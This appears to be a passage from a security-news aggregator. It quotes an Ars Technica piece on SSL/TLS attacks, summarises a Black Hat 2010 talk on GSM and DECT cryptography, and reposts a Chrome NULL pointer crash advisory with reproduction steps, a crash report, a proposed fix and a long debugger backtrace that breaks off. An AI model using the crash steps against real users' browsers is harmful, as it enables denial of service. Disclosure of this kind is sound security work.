Green told Ars, referring to a reliable fix for the Web encryption standards. "In the short term, we have better versions of TLS and we're not using them for a bunch of silly reasons, mostly to do with backward compatibility. Browser companies and people who make servers really need to get on this and they need to start moving to new versions and TLS. They need to do it soon, before these attack become really practical." Sursa: Two new attacks on SSL decrypt authentication cookies | Ars Technica

Blackhat 2010 - Attacking Phone Privacy Description: Our most popular phone technologies use decade-old proprietary cryptography. GSM's 64bit A5/1 cipher, for instance, is vulnerable to time memory trade-offs but commercial cracking hardware costs hundreds of thousands of dollars. We discuss how cryptographic improvements and the power of the community created an open GSM decrypt solution that runs on commodity hardware. Besides GSM we discuss weaknesses in DECT cordless phones. The talk concludes with an overview of mitigation steps for GSM and DECT in response to our research, some of which are already being implemented. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Blackhat 2010 - Attacking Phone Privacy

Google Chrome 21.0.1180.57 NULL Pointer Authored by Heyder Andrade Google Chrome versions 21.0.1180.57 and below suffer from a NULL pointer vulnerability in InspectDataSource::StartDataRequest. ---| overview Vulnerability: Chrome Null Pointer in InspectDataSource::StartDataRequest Date: 03/14/2012 Author: @HeyderAndrade (heyder.andrade[at]gmail[dot]com) Chrome Version: =< 21.0.1180.57 stable Operating System Tested: Win XP SP2, WIN7, Mac OS X 10.6.8 (10K549),Linux Ubuntu 12.04 Architecture: x86 and Amd64 ---| steps will reproduce this crash 1. Open the browser and visit any site that has an SSL certificate signed by a CA not trusted. an ssl error will be showed, DON'T click "proceed anayway". 2. Open a new tab and access chrome://inspect ps. I believe it should work with any ssl error, but i tested only with no valid CA error. ---| original OSX Crash Report Process: Google Chrome [767] Path: /Applications/Google Chrome.app/Contents/MacOS/Google Chrome Identifier: com.google.Chrome Version: 21.0.1180.57 (1180.57) Code Type: X86 (Native) Parent Process: launchd [158] Date/Time: 2012-08-08 22:53:09.442 -0300 OS Version: Mac OS X 10.6.8 (10K549) Report Version: 6 Interval Since Last Report: 19713 sec Crashes Since Last Report: 1 Per-App Interval Since Last Report: 19374 sec Per-App Crashes Since Last Report: 1 Anonymous UUID: B5BA5F00-E166-4923-9393-E0FC63561975 Exception Type: EXC_BAD_ACCESS (SIGBUS) Exception Codes: KERN_PROTECTION_FAILURE at 0x0000000000000000 Crashed Thread: 0 CrBrowserMain Dispatch queue: com.apple.main-thread ---| source code This vulnerability lies in the function call DCHECK (line 118 of the inspect_ui.cc) the render_process_host can be NULL. file: browser/ui/webui/inspect_ui.cc line: 188 function: DCHECK(render_process_host); ---| source code fix if (!render_process_host->HasConnection()) continue; ---| timeline of disclosure - discovery vulnerability - Ago 08, 2012 - code.google.com report - Aug 15, 2012 - Chromium community fix - Oct 11, 2012 - This disclosure - Mar 14, 2013 ---| references https://chromiumcodereview.appspot.com/11066114/ (for some reason this issue was removed) https://code.google.com/p/chromium/issues/detail?id=142979 (no public) Starting program: /home/user/chrome-linux/chrome --debug https://caixa.gov.br [Thread debugging using libthread_db enabled] [New Thread 0xb2735b70 (LWP 10475)] [New Thread 0xb1f34b70 (LWP 10476)] [New Thread 0xb1733b70 (LWP 10477)] [New Thread 0xb280db70 (LWP 10478)] [New Thread 0xb0666b70 (LWP 10479)] [New Thread 0xafe65b70 (LWP 10480)] [New Thread 0xaf664b70 (LWP 10481)] [New Thread 0xaee63b70 (LWP 10482)] [New Thread 0xae662b70 (LWP 10483)] [New Thread 0xade61b70 (LWP 10484)] [New Thread 0xad660b70 (LWP 10485)] [New Thread 0xace5fb70 (LWP 10486)] [New Thread 0xace3eb70 (LWP 10487)] [New Thread 0xace1db70 (LWP 10488)] [New Thread 0xacdfcb70 (LWP 10489)] [New Thread 0xac4eeb70 (LWP 10490)] [Thread 0xac4eeb70 (LWP 10490) exited] [New Thread 0xac4eeb70 (LWP 10491)] [New Thread 0xab0fbb70 (LWP 10492)] [New Thread 0xaa8fab70 (LWP 10497)] [New Thread 0xaa0f9b70 (LWP 10498)] [New Thread 0xa9282b70 (LWP 10515)] [Thread 0xa9282b70 (LWP 10515) exited] [New Thread 0xa97abb70 (LWP 10516)] [New Thread 0xa978ab70 (LWP 10519)] [New Thread 0xa9769b70 (LWP 10520)] Program received signal SIGSEGV, Segmentation fault. 0xb40ea92b in (anonymous namespace)::InspectDataSource::StartDataRequest(std::string const&, bool, int) () #0 0xb40ea92b in (anonymous namespace)::InspectDataSource::StartDataRequest(std::string const&, bool, int) () #1 0xb40caf9b in base::internal::Invoker<4, base::internal::BindState<base::internal::RunnableAdapter<void (ChromeURLDataManager::DataSource:)(std::string const&, bool, int)>, void ()(ChromeURLDataManager::DataSource*, std::string const&, bool, int), void ()(ChromeURLDataManager::DataSource*, std::string, bool, int)>, void ()(ChromeURLDataManager::DataSource*, std::string const&, bool, int)>::Run(base::internal::BindStateBase*) () #2 0xb498c220 in MessageLoop::RunTask(base::PendingTask const&) () #3 0xb498c8c2 in MessageLoop::DeferOrRunPendingTask(base::PendingTask const&) () #4 0xb498cc31 in MessageLoop::DoWork() () #5 0xb49d58be in base::MessagePumpGlib::RunWithDispatcher(base::MessagePump::Delegate*, base::MessagePumpDispatcher*) () #6 0xb49d543c in base::MessagePumpGlib::Run(base::MessagePump::Delegate*) () #7 0xb498846e in MessageLoop::RunInternal() () #8 0xb49a4ae9 in base::RunLoop::Run() () #9 0xb46513f5 in ChromeBrowserMainParts::MainMessageLoopRun(int*) () #10 0xb65262ec in content::BrowserMainLoop::RunMainMessageLoopParts() () #11 0xb6527280 in (anonymous namespace)::BrowserMainRunnerImpl::Run() () #12 0xb65247f3 in BrowserMain(content::MainFunctionParams const&) () #13 0xb48fb758 in content::RunNamedProcessTypeMain(std::string const&, content::MainFunctionParams const&, content::ContentMainDelegate*) () #14 0xb48fb8b0 in content::ContentMainRunnerImpl::Run() () #15 0xb48fa797 in content::ContentMain(int, char const**, content::ContentMainDelegate*) () #16 0xb3fbe60b in ChromeMain () #17 0xb3fbe5c2 in main () Thread 25 (Thread 0xa9769b70 (LWP 10520)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb2f36b86 in poll () from /lib/tls/i686/cmov/libc.so.6 #2 0xb2a96718 in ?? () from /lib/tls/i686/cmov/libresolv.so.2 #3 0xb2a948a3 in __libc_res_nquery () from /lib/tls/i686/cmov/libresolv.so.2 #4 0xb2a94e8b in ?? () from /lib/tls/i686/cmov/libresolv.so.2 #5 0xb2a95119 in __libc_res_nsearch () from /lib/tls/i686/cmov/libresolv.so.2 #6 0xabc80bd6 in _nss_dns_gethostbyname3_r () from /lib/tls/i686/cmov/libnss_dns.so.2 #7 0xabc80f2b in _nss_dns_gethostbyname2_r () from /lib/tls/i686/cmov/libnss_dns.so.2 #8 0xb2f5bb0d in gethostbyname2_r () from /lib/tls/i686/cmov/libc.so.6 #9 0xb2f1d010 in ?? () from /lib/tls/i686/cmov/libc.so.6 #10 0xb2f1ea65 in getaddrinfo () from /lib/tls/i686/cmov/libc.so.6 #11 0xb4a33e2a in net::SystemHostResolverProc(std::string const&, net::AddressFamily, int, net::AddressList*, int*) () #12 0xb4a23537 in net::(anonymous namespace)::CallSystemHostResolverProc::Resolve(std::string const&, net::AddressFamily, int, net::AddressList*, int*) () #13 0xb4a239a3 in net::HostResolverImpl::ProcTask::DoLookup(base::TimeTicks const&, unsigned int) () #14 0xb4a229b5 in base::internal::Invoker<3, base::internal::BindState<base::internal::RunnableAdapter<void (net::HostResolverImpl::ProcTask:)(base::TimeTicks const&, unsigned int)>, void ()(net::HostResolverImpl::ProcTask*, base::TimeTicks const&, unsigned int), void ()(net::HostResolverImpl::ProcTask*, base::TimeTicks, unsigned int)>, void ()(net::HostResolverImpl::ProcTask*, base::TimeTicks const&, unsigned int)>::Run(base::internal::BindStateBase*) () #15 0xb49c2701 in base::(anonymous namespace)::WorkerThread::ThreadMain() () #16 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #17 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #18 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 24 (Thread 0xa978ab70 (LWP 10519)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb2f36b86 in poll () from /lib/tls/i686/cmov/libc.so.6 #2 0xb2a96718 in ?? () from /lib/tls/i686/cmov/libresolv.so.2 #3 0xb2a948a3 in __libc_res_nquery () from /lib/tls/i686/cmov/libresolv.so.2 #4 0xb2a94e8b in ?? () from /lib/tls/i686/cmov/libresolv.so.2 #5 0xb2a95119 in __libc_res_nsearch () from /lib/tls/i686/cmov/libresolv.so.2 #6 0xabc80bd6 in _nss_dns_gethostbyname3_r () from /lib/tls/i686/cmov/libnss_dns.so.2 #7 0xabc80f2b in _nss_dns_gethostbyname2_r () from /lib/tls/i686/cmov/libnss_dns.so.2 #8 0xb2f5bb0d in gethostbyname2_r () from /lib/tls/i686/cmov/libc.so.6 #9 0xb2f1d010 in ?? () from /lib/tls/i686/cmov/libc.so.6 #10 0xb2f1ea65 in getaddrinfo () from /lib/tls/i686/cmov/libc.so.6 #11 0xb4a33e2a in net::SystemHostResolverProc(std::string const&, net::AddressFamily, int, net::AddressList*, int*) () #12 0xb4a23537 in net::(anonymous namespace)::CallSystemHostResolverProc::Resolve(std::string const&, net::AddressFamily, int, net::AddressList*, int*) () #13 0xb4a239a3 in net::HostResolverImpl::ProcTask::DoLookup(base::TimeTicks const&, unsigned int) () #14 0xb4a229b5 in base::internal::Invoker<3, base::internal::BindState<base::internal::RunnableAdapter<void (net::HostResolverImpl::ProcTask:)(base::TimeTicks const&, unsigned int)>, void ()(net::HostResolverImpl::ProcTask*, base::TimeTicks const&, unsigned int), void ()(net::HostResolverImpl::ProcTask*, base::TimeTicks, unsigned int)>, void ()(net::HostResolverImpl::ProcTask*, base::TimeTicks const&, unsigned int)>::Run(base::internal::BindStateBase*) () #15 0xb49c2701 in base::(anonymous namespace)::WorkerThread::ThreadMain() () #16 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #17 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #18 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 23 (Thread 0xa97abb70 (LWP 10516)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb2f36b86 in poll () from /lib/tls/i686/cmov/libc.so.6 #2 0xb2a96718 in ?? () from /lib/tls/i686/cmov/libresolv.so.2 #3 0xb2a948a3 in __libc_res_nquery () from /lib/tls/i686/cmov/libresolv.so.2 #4 0xb2a94e8b in ?? () from /lib/tls/i686/cmov/libresolv.so.2 #5 0xb2a95119 in __libc_res_nsearch () from /lib/tls/i686/cmov/libresolv.so.2 #6 0xabc80bd6 in _nss_dns_gethostbyname3_r () from /lib/tls/i686/cmov/libnss_dns.so.2 #7 0xabc80f2b in _nss_dns_gethostbyname2_r () from /lib/tls/i686/cmov/libnss_dns.so.2 #8 0xb2f5bb0d in gethostbyname2_r () from /lib/tls/i686/cmov/libc.so.6 #9 0xb2f1d010 in ?? () from /lib/tls/i686/cmov/libc.so.6 #10 0xb2f1ea65 in getaddrinfo () from /lib/tls/i686/cmov/libc.so.6 #11 0xb4a33e2a in net::SystemHostResolverProc(std::string const&, net::AddressFamily, int, net::AddressList*, int*) () #12 0xb4a23537 in net::(anonymous namespace)::CallSystemHostResolverProc::Resolve(std::string const&, net::AddressFamily, int, net::AddressList*, int*) () #13 0xb4a239a3 in net::HostResolverImpl::ProcTask::DoLookup(base::TimeTicks const&, unsigned int) () #14 0xb4a229b5 in base::internal::Invoker<3, base::internal::BindState<base::internal::RunnableAdapter<void (net::HostResolverImpl::ProcTask:)(base::TimeTicks const&, unsigned int)>, void ()(net::HostResolverImpl::ProcTask*, base::TimeTicks const&, unsigned int), void ()(net::HostResolverImpl::ProcTask*, base::TimeTicks, unsigned int)>, void ()(net::HostResolverImpl::ProcTask*, base::TimeTicks const&, unsigned int)>::Run(base::internal::BindStateBase*) () #15 0xb49c2701 in base::(anonymous namespace)::WorkerThread::ThreadMain() () #16 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #17 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #18 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 21 (Thread 0xaa0f9b70 (LWP 10498)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb3365015 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0 #2 0xb49b1d48 in base::ConditionVariable::Wait() () #3 0xb49be489 in base::SequencedWorkerPool::Inner::ThreadLoop(base::SequencedWorkerPool::Worker*) () #4 0xb49bec19 in base::SequencedWorkerPool::Worker::Run() () #5 0xb49bf733 in base::SimpleThread::ThreadMain() () #6 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #7 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #8 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 20 (Thread 0xaa8fab70 (LWP 10497)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb3365342 in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0 #2 0xb49b24cc in base::ConditionVariable::TimedWait(base::TimeDelta const&) () #3 0xb49b36dd in base::WaitableEvent::TimedWait(base::TimeDelta const&) () #4 0xb498e11a in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) () #5 0xb498846e in MessageLoop::RunInternal() () #6 0xb49a4ae9 in base::RunLoop::Run() () #7 0xb498775e in MessageLoop::Run() () #8 0xb49bfbb9 in base::Thread::Run(MessageLoop*) () #9 0xb49bfa91 in base::Thread::ThreadMain() () #10 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #11 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #12 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 19 (Thread 0xab0fbb70 (LWP 10492)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb3365015 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0 #2 0xb49b1d48 in base::ConditionVariable::Wait() () #3 0xb49be489 in base::SequencedWorkerPool::Inner::ThreadLoop(base::SequencedWorkerPool::Worker*) () #4 0xb49bec19 in base::SequencedWorkerPool::Worker::Run() () #5 0xb49bf733 in base::SimpleThread::ThreadMain() () #6 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #7 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #8 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 18 (Thread 0xac4eeb70 (LWP 10491)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb3365015 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0 #2 0xb49b1d48 in base::ConditionVariable::Wait() () #3 0xb49b36f0 in base::WaitableEvent::TimedWait(base::TimeDelta const&) () #4 0xb49b3736 in base::WaitableEvent::Wait() () #5 0xb498e0c4 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) () #6 0xb498846e in MessageLoop::RunInternal() () #7 0xb49a4ae9 in base::RunLoop::Run() () #8 0xb498775e in MessageLoop::Run() () #9 0xb49bfbb9 in base::Thread::Run(MessageLoop*) () #10 0xb49bfa91 in base::Thread::ThreadMain() () #11 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #12 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #13 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 16 (Thread 0xacdfcb70 (LWP 10489)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb3365342 in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0 #2 0xb49b24cc in base::ConditionVariable::TimedWait(base::TimeDelta const&) () #3 0xb49b36dd in base::WaitableEvent::TimedWait(base::TimeDelta const&) () #4 0xb498e11a in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) () #5 0xb498846e in MessageLoop::RunInternal() () #6 0xb49a4ae9 in base::RunLoop::Run() () #7 0xb498775e in MessageLoop::Run() () #8 0xb49bfbb9 in base::Thread::Run(MessageLoop*) () #9 0xb49bfa91 in base::Thread::ThreadMain() () #10 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #11 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #12 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 15 (Thread 0xace1db70 (LWP 10488)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb2f36b86 in poll () from /lib/tls/i686/cmov/libc.so.6 #2 0xb2a96718 in ?? () from /lib/tls/i686/cmov/libresolv.so.2 #3 0xb2a948a3 in __libc_res_nquery () from /lib/tls/i686/cmov/libresolv.so.2 #4 0xb2a94e8b in ?? () from /lib/tls/i686/cmov/libresolv.so.2 #5 0xb2a95119 in __libc_res_nsearch () from /lib/tls/i686/cmov/libresolv.so.2 #6 0xabc80bd6 in _nss_dns_gethostbyname3_r () from /lib/tls/i686/cmov/libnss_dns.so.2 #7 0xabc80f2b in _nss_dns_gethostbyname2_r () from /lib/tls/i686/cmov/libnss_dns.so.2 #8 0xb2f5bb0d in gethostbyname2_r () from /lib/tls/i686/cmov/libc.so.6 #9 0xb2f1d010 in ?? () from /lib/tls/i686/cmov/libc.so.6 #10 0xb2f1ea65 in getaddrinfo () from /lib/tls/i686/cmov/libc.so.6 #11 0xb4a33e2a in net::SystemHostResolverProc(std::string const&, net::AddressFamily, int, net::AddressList*, int*) () #12 0xb4a23537 in net::(anonymous namespace)::CallSystemHostResolverProc::Resolve(std::string const&, net::AddressFamily, int, net::AddressList*, int*) () #13 0xb4a239a3 in net::HostResolverImpl::ProcTask::DoLookup(base::TimeTicks const&, unsigned int) () #14 0xb4a229b5 in base::internal::Invoker<3, base::internal::BindState<base::internal::RunnableAdapter<void (net::HostResolverImpl::ProcTask:)(base::TimeTicks const&, unsigned int)>, void ()(net::HostResolverImpl::ProcTask*, base::TimeTicks const&, unsigned int), void ()(net::HostResolverImpl::ProcTask*, base::TimeTicks, unsigned int)>, void ()(net::HostResolverImpl::ProcTask*, base::TimeTicks const&, unsigned int)>::Run(base::internal::BindStateBase*) () #15 0xb49c2701 in base::(anonymous namespace)::WorkerThread::ThreadMain() () #16 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #17 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #18 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 14 (Thread 0xace3eb70 (LWP 10487)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb2f36b86 in poll () from /lib/tls/i686/cmov/libc.so.6 #2 0xb2a96718 in ?? () from /lib/tls/i686/cmov/libresolv.so.2 #3 0xb2a948a3 in __libc_res_nquery () from /lib/tls/i686/cmov/libresolv.so.2 #4 0xb2a94e8b in ?? () from /lib/tls/i686/cmov/libresolv.so.2 #5 0xb2a95119 in __libc_res_nsearch () from /lib/tls/i686/cmov/libresolv.so.2 #6 0xabc80bd6 in _nss_dns_gethostbyname3_r () from /lib/tls/i686/cmov/libnss_dns.so.2 #7 0xabc80f2b in _nss_dns_gethostbyname2_r () from /lib/tls/i686/cmov/libnss_dns.so.2 #8 0xb2f5bb0d in gethostbyname2_r () from /lib/tls/i686/cmov/libc.so.6 #9 0xb2f1d010 in ?? () from /lib/tls/i686/cmov/libc.so.6 #10 0xb2f1ea65 in getaddrinfo () from /lib/tls/i686/cmov/libc.so.6 #11 0xb4a33e2a in net::SystemHostResolverProc(std::string const&, net::AddressFamily, int, net::AddressList*, int*) () #12 0xb4a23537 in net::(anonymous namespace)::CallSystemHostResolverProc::Resolve(std::string const&, net::AddressFamily, int, net::AddressList*, int*) () #13 0xb4a239a3 in net::HostResolverImpl::ProcTask::DoLookup(base::TimeTicks const&, unsigned int) () #14 0xb4a229b5 in base::internal::Invoker<3, base::internal::BindState<base::internal::RunnableAdapter<void (net::HostResolverImpl::ProcTask:)(base::TimeTicks const&, unsigned int)>, void ()(net::HostResolverImpl::ProcTask*, base::TimeTicks const&, unsigned int), void ()(net::HostResolverImpl::ProcTask*, base::TimeTicks, unsigned int)>, void ()(net::HostResolverImpl::ProcTask*, base::TimeTicks const&, unsigned int)>::Run(base::internal::BindStateBase*) () #15 0xb49c2701 in base::(anonymous namespace)::WorkerThread::ThreadMain() () #16 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #17 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #18 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 13 (Thread 0xace5fb70 (LWP 10486)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb2f36b86 in poll () from /lib/tls/i686/cmov/libc.so.6 #2 0xb2a96718 in ?? () from /lib/tls/i686/cmov/libresolv.so.2 #3 0xb2a948a3 in __libc_res_nquery () from /lib/tls/i686/cmov/libresolv.so.2 #4 0xb2a94e8b in ?? () from /lib/tls/i686/cmov/libresolv.so.2 #5 0xb2a95119 in __libc_res_nsearch () from /lib/tls/i686/cmov/libresolv.so.2 #6 0xabc80bd6 in _nss_dns_gethostbyname3_r () from /lib/tls/i686/cmov/libnss_dns.so.2 #7 0xabc80f2b in _nss_dns_gethostbyname2_r () from /lib/tls/i686/cmov/libnss_dns.so.2 #8 0xb2f5bb0d in gethostbyname2_r () from /lib/tls/i686/cmov/libc.so.6 #9 0xb2f1d010 in ?? () from /lib/tls/i686/cmov/libc.so.6 #10 0xb2f1ea65 in getaddrinfo () from /lib/tls/i686/cmov/libc.so.6 #11 0xb4a33e2a in net::SystemHostResolverProc(std::string const&, net::AddressFamily, int, net::AddressList*, int*) () #12 0xb4a23537 in net::(anonymous namespace)::CallSystemHostResolverProc::Resolve(std::string const&, net::AddressFamily, int, net::AddressList*, int*) () #13 0xb4a239a3 in net::HostResolverImpl::ProcTask::DoLookup(base::TimeTicks const&, unsigned int) () #14 0xb4a229b5 in base::internal::Invoker<3, base::internal::BindState<base::internal::RunnableAdapter<void (net::HostResolverImpl::ProcTask:)(base::TimeTicks const&, unsigned int)>, void ()(net::HostResolverImpl::ProcTask*, base::TimeTicks const&, unsigned int), void ()(net::HostResolverImpl::ProcTask*, base::TimeTicks, unsigned int)>, void ()(net::HostResolverImpl::ProcTask*, base::TimeTicks const&, unsigned int)>::Run(base::internal::BindStateBase*) () #15 0xb49c2701 in base::(anonymous namespace)::WorkerThread::ThreadMain() () #16 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #17 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #18 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 12 (Thread 0xad660b70 (LWP 10485)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb2f40d37 in syscall () from /lib/tls/i686/cmov/libc.so.6 #2 0xb49e6410 in epoll_wait () #3 0xb49e5e75 in epoll_dispatch () #4 0xb49e42a7 in event_base_loop () #5 0xb495eda7 in base::MessagePumpLibevent::Run(base::MessagePump::Delegate*) () #6 0xb498846e in MessageLoop::RunInternal() () #7 0xb49a4ae9 in base::RunLoop::Run() () #8 0xb498775e in MessageLoop::Run() () #9 0xb49bfbb9 in base::Thread::Run(MessageLoop*) () #10 0xb652797d in content::BrowserThreadImpl::IOThreadRun(MessageLoop*) () #11 0xb6529da3 in content::BrowserThreadImpl::Run(MessageLoop*) () #12 0xb49bfa91 in base::Thread::ThreadMain() () #13 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #14 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #15 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 11 (Thread 0xade61b70 (LWP 10484)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb2f40d37 in syscall () from /lib/tls/i686/cmov/libc.so.6 #2 0xb49e6410 in epoll_wait () #3 0xb49e5e75 in epoll_dispatch () #4 0xb49e42a7 in event_base_loop () #5 0xb495eda7 in base::MessagePumpLibevent::Run(base::MessagePump::Delegate*) () #6 0xb498846e in MessageLoop::RunInternal() () #7 0xb49a4ae9 in base::RunLoop::Run() () #8 0xb498775e in MessageLoop::Run() () #9 0xb49bfbb9 in base::Thread::Run(MessageLoop*) () #10 0xb6527a1d in content::BrowserThreadImpl::CacheThreadRun(MessageLoop*) () #11 0xb6529db1 in content::BrowserThreadImpl::Run(MessageLoop*) () #12 0xb49bfa91 in base::Thread::ThreadMain() () #13 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #14 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #15 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 10 (Thread 0xae662b70 (LWP 10483)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb3365015 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0 #2 0xb49b1d48 in base::ConditionVariable::Wait() () #3 0xb49b36f0 in base::WaitableEvent::TimedWait(base::TimeDelta const&) () #4 0xb49b3736 in base::WaitableEvent::Wait() () #5 0xb498e0c4 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) () #6 0xb498846e in MessageLoop::RunInternal() () #7 0xb49a4ae9 in base::RunLoop::Run() () #8 0xb498775e in MessageLoop::Run() () #9 0xb49bfbb9 in base::Thread::Run(MessageLoop*) () #10 0xb6527abd in content::BrowserThreadImpl::ProcessLauncherThreadRun(MessageLoop*) () #11 0xb6529dbf in content::BrowserThreadImpl::Run(MessageLoop*) () #12 0xb49bfa91 in base::Thread::ThreadMain() () #13 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #14 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #15 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 9 (Thread 0xaee63b70 (LWP 10482)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb3365015 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0 #2 0xb49b1d48 in base::ConditionVariable::Wait() () #3 0xb49b36f0 in base::WaitableEvent::TimedWait(base::TimeDelta const&) () #4 0xb49b3736 in base::WaitableEvent::Wait() () #5 0xb498e0c4 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) () #6 0xb498846e in MessageLoop::RunInternal() () #7 0xb49a4ae9 in base::RunLoop::Run() () #8 0xb498775e in MessageLoop::Run() () #9 0xb49bfbb9 in base::Thread::Run(MessageLoop*) () #10 0xb6527b5d in content::BrowserThreadImpl::FileUserBlockingThreadRun(MessageLoop*) () #11 0xb6529dce in content::BrowserThreadImpl::Run(MessageLoop*) () #12 0xb49bfa91 in base::Thread::ThreadMain() () #13 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #14 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #15 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 8 (Thread 0xaf664b70 (LWP 10481)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb2f40d37 in syscall () from /lib/tls/i686/cmov/libc.so.6 #2 0xb49e6410 in epoll_wait () #3 0xb49e5e75 in epoll_dispatch () #4 0xb49e42a7 in event_base_loop () #5 0xb495eda7 in base::MessagePumpLibevent::Run(base::MessagePump::Delegate*) () #6 0xb498846e in MessageLoop::RunInternal() () #7 0xb49a4ae9 in base::RunLoop::Run() () #8 0xb498775e in MessageLoop::Run() () #9 0xb49bfbb9 in base::Thread::Run(MessageLoop*) () #10 0xb6527bfd in content::BrowserThreadImpl::FileThreadRun(MessageLoop*) () #11 0xb6529dde in content::BrowserThreadImpl::Run(MessageLoop*) () #12 0xb49bfa91 in base::Thread::ThreadMain() () #13 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #14 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #15 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 7 (Thread 0xafe65b70 (LWP 10480)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb3365015 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0 #2 0xb49b1d48 in base::ConditionVariable::Wait() () #3 0xb49b36f0 in base::WaitableEvent::TimedWait(base::TimeDelta const&) () #4 0xb49b3736 in base::WaitableEvent::Wait() () #5 0xb498e0c4 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) () #6 0xb498846e in MessageLoop::RunInternal() () #7 0xb49a4ae9 in base::RunLoop::Run() () #8 0xb498775e in MessageLoop::Run() () #9 0xb49bfbb9 in base::Thread::Run(MessageLoop*) () #10 0xb6527c9d in content::BrowserThreadImpl::WebKitThreadRun(MessageLoop*) () #11 0xb6529dee in content::BrowserThreadImpl::Run(MessageLoop*) () #12 0xb49bfa91 in base::Thread::ThreadMain() () #13 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #14 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #15 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 6 (Thread 0xb0666b70 (LWP 10479)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb3365015 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0 #2 0xb49b1d48 in base::ConditionVariable::Wait() () #3 0xb49b36f0 in 